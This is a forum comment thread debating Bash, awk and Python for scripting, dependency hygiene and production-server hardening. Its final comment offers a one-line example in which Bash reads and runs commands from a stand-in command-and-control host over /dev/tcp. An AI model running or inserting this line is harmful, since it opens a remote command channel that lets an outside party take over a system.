News for hackers. Stuff that matters.
Re:Minimal safe Bash script template by busterarm on Tuesday December 15, 2020 @12:09PM (#25432261)
Give me $1 for every time I see a whole python script with loads of dependencies for the simplest sed/awk/jq task with pipes.
Re:Minimal safe Bash script template by rmrfstar on Tuesday December 15, 2020 @12:53PM (#25432815)
Python is readable, awk is not. I'd rather spend an extra 5 minutes writing something that I don't have to burn 20 minutes understanding in just a few months time.

I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages. Further evidence can be found in Python's development of type hints.

Re:Minimal safe Bash script template by sillysaurusx on Tuesday December 15, 2020 @01:03PM (#25432954)
Python isn't that readable when piping. From https://docs.python.org/3/library/subprocess.html#replacing-...

  output=$(dmesg | grep hda)
becomes

  p1 = Popen(["dmesg"], stdout=PIPE)
  p2 = Popen(["grep", "hda"], stdin=p1.stdout, stdout=PIPE)
  p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.
  output = p2.communicate()[0]
This isn't a contrived example. One reason I like using macros in Python is because it simplifies exactly this boilerplate.

You can write a simplifying function, but programs rarely do.

Re:Minimal safe Bash script template by powersnail on Tuesday December 15, 2020 @04:05PM (#25435256)
I agree. Subprocess isn't really a shell-ish pipe. And it's sometimes slow (at least it used to be).

This is why I use the shell overall, but when I need to process something that's better expressed in python, I use pypyp.

Re:Minimal safe Bash script template by sillysaurusx on Wednesday December 16, 2020 @02:12AM (#25439904)
Thanks for mentioning pypyp! It looks sweet.
Re:Minimal safe Bash script template by d0mine on Wednesday December 16, 2020 @10:58AM (#25444094)
Why would you reimplement piping? Just use the shell:

  output = check_output(“dmesg | grep hda”, shell=True)
Or regular Python string methods could be used instead of piping to grep.
Re:Minimal safe Bash script template by czynskee on Tuesday December 15, 2020 @02:07PM (#25433753)
If you find awk unreadable, maybe check out this link? https://ferd.ca/awk-in-20-minutes.html

I actually find awk very readable. It's a far simpler language than Python really.

The exception is perhaps if you need to do something complex, like parse a csv.

Re:Minimal safe Bash script template by munificent on Tuesday December 15, 2020 @05:04PM (#25435815)
> It's a far simpler language than Python really.

This is true, but if you already know Python, then "awk + Python" has greater total complexity than "just Python". So the question is does awk add enough value to be worth the incremental cost of learning it in addition to Python? I think for many, the answer is "no".

Re:Minimal safe Bash script template by busterarm on Tuesday December 15, 2020 @02:53PM (#25434292)
Honestly I think if someone finds awk unreadable, they're probably cutting corners elsewhere and probably shouldn't be doing unix systems programming.

It's like all of the bash scripts that we see that don't handle failures and traps or print a usage block.

Re:Minimal safe Bash script template by rmrfstar on Tuesday December 15, 2020 @04:13PM (#25435323)
Out of curiosity, I grepped the Qubes github repos for awk. Here's the most complicated use I could find:

     awk -F : '/\/home/ { print $1":"$3":"$4":"$6 } '
Re:Minimal safe Bash script template by dig1 on Tuesday December 15, 2020 @01:42PM (#25433448)
I believe it is a matter of taste and experience. Some people prefer to read & edit 3-4 concise lines, and some prefer ten pages of prose.

> I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages.

IMO Python has a fair number of brevity constructs, which was it's one of the selling points, besides keeping other things readable. If you look at the published code from the research community, many of it resembles Matlab or Mathematica's style.

Re:Minimal safe Bash script template by pbar on Tuesday December 15, 2020 @01:38PM (#25433385)
Another counterpoint to readability: the benefit is diluted if the reader isn’t familiar with the dependencies. I know this goes both ways, though in some circles (say, devops) there’s more familiarity with Unix tools than Python. So the cognitive overhead of getting familiar with something you’re not IMO outweighs readability in either case.
Re:Minimal safe Bash script template by coward8675309 on Tuesday December 15, 2020 @02:39PM (#25434113)
Das Tolle an Deutsch ist, dass es lesbar ist, während Englisch nicht.
Re:Minimal safe Bash script template by busterarm on Tuesday December 15, 2020 @02:55PM (#25434325)
Ich stimme zu.
Re:Minimal safe Bash script template by fomine3 on Tuesday December 15, 2020 @11:26PM (#25439046)
In this context (vs Bash), I argue that awk is pretty readable and perl is somewhat readable.
Re:Minimal safe Bash script template by aldanor on Tuesday December 15, 2020 @04:12PM (#25435316)
Read it as "give me ${1}", paused to think for a bit.
Re:Minimal safe Bash script template by busterarm on Tuesday December 15, 2020 @04:52PM (#25435679)
Well played. :D
Re:Minimal safe Bash script template by rualca on Tuesday December 15, 2020 @02:20PM (#25433911)
> Give me $1 for every time I see a whole python script with loads of dependencies for the simplest sed/awk/jq task with pipes.

I'll add good old Make to the list. It boggles the mind how some people prefer to reinvent the wheel instead of pulling a standard tool from a standard tool belt.

Re:Minimal safe Bash script template by busterarm on Tuesday December 15, 2020 @02:23PM (#25433945)
I pretty much always agreed with this until Bazel became a thing. It's the first tool that I truly feel like it might be superior to Make.
Re:Minimal safe Bash script template by cle on Tuesday December 15, 2020 @04:37PM (#25435555)
You can do sed/awk/jq trivially in Python with no dependencies, other than Python itself. Which is a fewer number of dependencies than a script gluing together sed+awk+jq, each of those being a dependency managed implicitly by your distribution's package manager.
Re:Minimal safe Bash script template by busterarm on Tuesday December 15, 2020 @04:50PM (#25435663)
except with sed, awk and jq, I don't have to worry about it being present on a production system and someone leveraging it to execute arbitrary, sophisticated code.

You can't just assume that it's okay to have your preferred scripting language everywhere.

Re:Minimal safe Bash script template by cle on Tuesday December 15, 2020 @05:02PM (#25435798)
I don't understand what you're arguing here. You don't run sed, awk, and jq directly, you run them via Bash, your preferred scripting language that can execute arbitrary, sophisticated code.

Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity).

But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.

Re:Minimal safe Bash script template by busterarm on Tuesday December 15, 2020 @08:22PM (#25437862)
Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd and there's no privilege-free packaging system to rapidly get there.

Python and other powerful scripting languages can.

Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point.

The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.

Re:Minimal safe Bash script template by Nullabillity on Wednesday December 16, 2020 @07:16AM (#25441673)
> Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd

Not listen, but it can certainly connect out and ask for instructions...

    bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'